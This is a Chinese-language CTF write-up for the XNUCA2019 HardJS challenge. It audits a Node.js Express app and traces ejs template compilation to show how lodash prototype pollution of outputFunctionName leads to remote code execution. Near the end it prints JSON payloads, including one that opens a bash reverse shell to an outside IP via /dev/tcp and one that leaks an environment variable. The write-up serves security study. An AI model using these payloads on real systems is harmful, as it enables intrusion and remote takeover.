[XNUCA2019Qualifier]HardJS
知识点:
node.js原型链污染
node.js代码审计
解题:
分析 server.js:
使用的 express 这个框架,模板渲染引擎用的 ejs 。路由如下:
-
/
首页 -
/static
静态文件 -
/sandbox
显示用户HTML数据用的沙盒 -
/login
登陆 -
/register
注册 -
/get
json接口 获取数据库中保存的数据 -
/add
用户添加数据的接口
发现调用了 lodash ,而且版本较低,估计存在原型链污染漏洞,发现调用 lodash.defaultDeep 函数,
在
/get
中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,
审计
server.js
的时候可以看到,返回页面是通过
res.render(xxx)
渲染的,所以尝试从这里下手,跟进模板渲染寻找符合我们上述条件的利用点。
因为整个模板都是由 res.render 函数渲染的,所以跟进 response.js :
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
....
// render
app.render(view, opts, done);
};
发现调用了 app.render,继续跟进到 application.js:
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
....
// render
tryRender(view, renderOptions, done);
};
又调用了 view.render 函数,继续跟进
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
调用了
view.render
,继续跟进就来到了
view.js
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
调用了 engine 引擎,也就是 ejs 引擎
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
...
return tryHandleCache(opts, data, cb);
};
发现跳到
renderFile
函数,并且又调用了
tryHandleCache
function tryHandleCache(options, data, cb) {
var result;
...
result = handleCache(options)(data);
...
}
接着调用了 handleCache 函数,
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
...
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
观察 handleCache 的返回值是如何产生的,func 当不存在时由 compile 函数产生,继续跟进
exports.compile = function compile(template, opts) {
var templ;
...
templ = new Template(template, opts);
return templ.compile();
};
compile 由 Template 这个类产生,跟进这个 Template 看 comoile 这个成员方法
compile: function () {
var src;
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
var escapeFn = opts.escapeFunction;
var ctor;
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
...
src = this.source;
...
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
...
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
},
这段代码中
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
这里的 outputFunctionName 这个参数未定义,并且被拼接入一路回传给 prepended ,this.source,src,fn,然后以
returnedFn
返回并最后被执行。
而一路跟进的时候可以发现,并没有
outputFunctionName
的身影,所以只要给 Object 的
prototype
加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!
最后的payload如下
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.110.124.239/2333 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
{"type":"notice","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;return process.env.FLAG//"}}}}
发送5次请求,然后访问
/get
进行原型链污染,最后访问
/
或
/login
触发
render
函数,成功反弹shell并 getflag
总结:
因为才接触js原型链污染,所以可能下面总结会有一定错误,希望师傅们能指正,其实我们最后RCE的地方,有 eval 进行代码注入(污染注入代码达成RCE),有通过模板渲染调用属性(调用该属性其实就相当于执行了我们构造的恶意payload),其实我们就是要找到一个代码中可控且被调用的属性,而 merge 操作,其实只是为了去给这个变量赋值,我们需要寻找的其实是被调用且可控的属性,很多文章里面说的需要这个变量 undefine ,其实最终目的也是为了能赋值,因为如果是 undefine,他会存在一个属性遮蔽的情况。
参考:
https://xz.aliyun.com/t/6113